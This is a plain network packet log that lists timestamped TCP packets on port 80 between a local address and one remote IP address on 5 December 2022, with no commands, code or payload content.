Dec 5, 2022 06:44:46.580874920 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.580919981 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.580967903 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.580982924 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.581027985 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.581049919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.581095934 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.581124067 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.581159115 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.581213951 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.581224918 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.581274033 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.581279039 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.582175016 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.582252026 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.582300901 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.582323074 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.582376957 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.582444906 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.582513094 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.582812071 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.582937002 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.629806042 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.629877090 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.629909039 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.629970074 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.630707979 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.714159966 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.714226007 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.714314938 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.715708017 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.715754032 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.715823889 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.715872049 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.715915918 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.715976000 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.716001987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.716046095 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.716089964 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.716103077 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.716124058 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.716159105 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.716166019 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.744175911 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.744249105 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.744297028 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.744330883 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.744343042 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.744360924 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.744374990 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.744415998 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.744457960 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.744508982 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.753740072 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.753787994 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.753818989 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.753837109 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.753860950 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.753915071 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.753977060 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.754021883 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.754224062 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.754262924 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.755744934 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.755791903 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.755821943 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.755863905 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.755867958 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.755907059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.755937099 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.755963087 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.755979061 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.756021976 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.756030083 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.756051064 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.756093025 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.756134033 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.756165981 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.756192923 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.756227970 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.756289959 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.756304979 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.756337881 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.756403923 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.756467104 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.756474972 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.756513119 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.756567001 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.756608963 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.756639957 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.756675959 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.756680965 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.756724119 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.756737947 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.756764889 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.756829023 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.756891012 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.756906033 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.756937981 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.807185888 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.807250023 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.807282925 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.807358980 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.892561913 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.892625093 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.892657995 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.892700911 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.892709017 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.892744064 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.892755985 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.892776966 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.895030975 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.895092964 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.895133018 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.895162106 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.895174980 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.895217896 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.895248890 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.895270109 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.895292044 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.895334005 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.895344019 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.895368099 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.895410061 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.895452023 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.895482063 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.895500898 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.915644884 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.915729046 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.916717052 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.916773081 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.916816950 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.916871071 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.917217016 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.917737007 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.918277979 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.918355942 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.918386936 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.918423891 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.922111034 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.922154903 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.922168970 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.922185898 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.922269106 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.922312021 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.922322035 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.922346115 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.922386885 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.922427893 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.922435045 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.922460079 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.925972939 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.926033020 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.926065922 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.926085949 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.926110983 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.926152945 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.926172972 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.926183939 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.926225901 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.926275015 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.926333904 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.926383018 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.926412106 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.926455975 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.926464081 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.926496983 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.926527023 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.926561117 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.926568031 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.926613092 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.926640987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.926682949 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.926687002 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.926726103 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.926758051 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.926783085 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.926800013 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.926842928 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.926896095 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.926940918 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.926971912 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.926981926 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.927011967 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.927052975 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.927071095 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.927094936 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.927125931 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.927181005 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.969896078 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.969968081 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.970007896 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.970092058 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.055098057 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.055164099 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.055196047 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.055238008 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.055255890 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.055280924 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.055315018 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.055377960 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.057523012 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.057569027 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.057600975 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.057642937 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.057677984 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.057684898 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.057715893 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.057755947 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.057765007 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.057797909 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.057826996 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.057868004 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.057883024 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.057909966 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.057939053 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.057980061 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.057998896 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.058022022 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.058051109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.058101892 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.080761909 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.080830097 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.080873966 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.080904961 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.080945969 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.080987930 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.081020117 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.081041098 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.081041098 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.084462881 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.084508896 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.084542036 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.084582090 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.084623098 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.084641933 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.084652901 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.084673882 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.084697008 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.084739923 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.084770918 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.084798098 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.088332891 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.088387012 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.088419914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.088490963 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.089404106 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.089448929 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.089485884 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.089509010 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.089526892 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.089570045 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.089600086 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.089632988 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.089641094 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.089684963 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.089715958 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.089718103 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.089757919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.089802027 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.089816093 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.089844942 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.089893103 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.089935064 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.089957952 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.089977026 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.090008020 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.090032101 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.090049982 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.090091944 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.090121984 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.090150118 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.090162992 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.090204954 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.090235949 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.090271950 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.090276957 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.090317965 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.090348005 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.090389967 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.090420961 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.090432882 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.090462923 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.090512037 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.133393049 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.133460999 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.133497953 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.133574009 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.220124960 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.220244884 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.220280886 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.220355988 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.220364094 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.220403910 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.220475912 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.220552921 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.223855972 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.223900080 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.223932028 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.224005938 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.224011898 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.224056005 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.224087000 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.224126101 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.224165916 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.224209070 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.224272013 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.224272013 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.224318027 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.224359035 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.224391937 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.224431038 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.224541903 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.224586010 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.224616051 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.224685907 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.254141092 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.254209995 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.254244089 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.254285097 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.254350901 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.254350901 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.254390001 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.254472971 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.256931067 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.256994009 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.257028103 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.257071972 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.257092953 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.257154942 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.257188082 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.257217884 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.257229090 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.257272005 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.257302999 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.257343054 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.257356882 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.257389069 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.257419109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.257436037 CET	49705	80	192.168.2.3	104.193.254.97
